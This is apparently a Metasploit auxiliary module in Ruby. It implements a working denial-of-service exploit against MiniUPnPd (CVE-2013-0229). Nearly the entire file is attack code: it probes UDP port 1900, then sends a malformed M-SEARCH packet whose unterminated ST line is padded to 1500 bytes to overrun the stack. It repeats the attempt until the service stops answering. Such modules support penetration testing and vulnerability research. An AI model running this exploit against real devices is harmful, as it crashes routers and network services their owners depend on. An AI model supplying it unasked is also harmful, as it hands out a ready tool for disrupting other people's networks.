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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Udp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',
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        'Description' => %q{
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          This module allows remote attackers to cause a denial of service (DoS)
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          in MiniUPnP 1.0 server via a specifically crafted UDP request.
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        },
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        'Author' => [
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          'hdm', # Vulnerability discovery
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          'Dejan Lukan' # Metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2013-0229' ],
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          [ 'OSVDB', '89625' ],
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          [ 'BID', '57607' ],
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          [ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play/' ],
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          [ 'URL', 'https://www.hdm.io/writing/SecurityFlawsUPnP.pdf' ]
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        ],
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        'DisclosureDate' => '2013-03-27',
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(1900),
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        OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])
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      ]
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    )
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  end
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  def send_probe(udp_sock, probe)
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    udp_sock.put(probe)
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    data = udp_sock.recvfrom
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    if data && !data[0].empty?
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      return data[0]
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    else
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      return nil
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    end
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  end
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  def run
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    # the M-SEARCH probe packet that tries to identify whether the service is up or not
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    msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
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    msearch_probe << "Host:239.255.255.250:1900\r\n"
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    msearch_probe << "ST:upnp:rootdevice\r\n"
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    msearch_probe << "Man:\"ssdp:discover\"\r\n"
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    msearch_probe << "MX:3\r\n"
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    msearch_probe << "\r\n"
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    # the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
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    # ST line
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    sploit = "M-SEARCH * HTTP/1.1\r\n"
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    sploit << "HOST: 239.255.255.250:1900\r\n"
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    sploit << 'ST:uuid:schemas:device:MX:3'
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    # the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
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    # this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
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    # characters: there's more chance that the program will run off the stack.
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    sploit += ' ' * (1500 - sploit.length)
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    # connect to the UDP port
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    connect_udp
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    print_status("#{rhost}:#{rport} - Checking UPnP...")
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    response = send_probe(udp_sock, msearch_probe)
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    if response.nil?
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      print_error("#{rhost}:#{rport} - UPnP end not found")
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      disconnect_udp
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      return
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    end
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    (1..datastore['ATTEMPTS']).each do |attempt|
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      print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")
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      # send the exploit to the target
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      print_status("#{rhost}:#{rport} - Sending malformed packet...")
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      udp_sock.put(sploit)
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      # send the probe to the target
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      print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
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      response = send_probe(udp_sock, msearch_probe)
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      if response.nil?
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        print_good("#{rhost}:#{rport} - UPnP unresponsive")
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        disconnect_udp
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        break
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      else
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        print_status("#{rhost}:#{rport} - UPnP is responsive still")
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      end
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    end
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    disconnect_udp
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  end
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end
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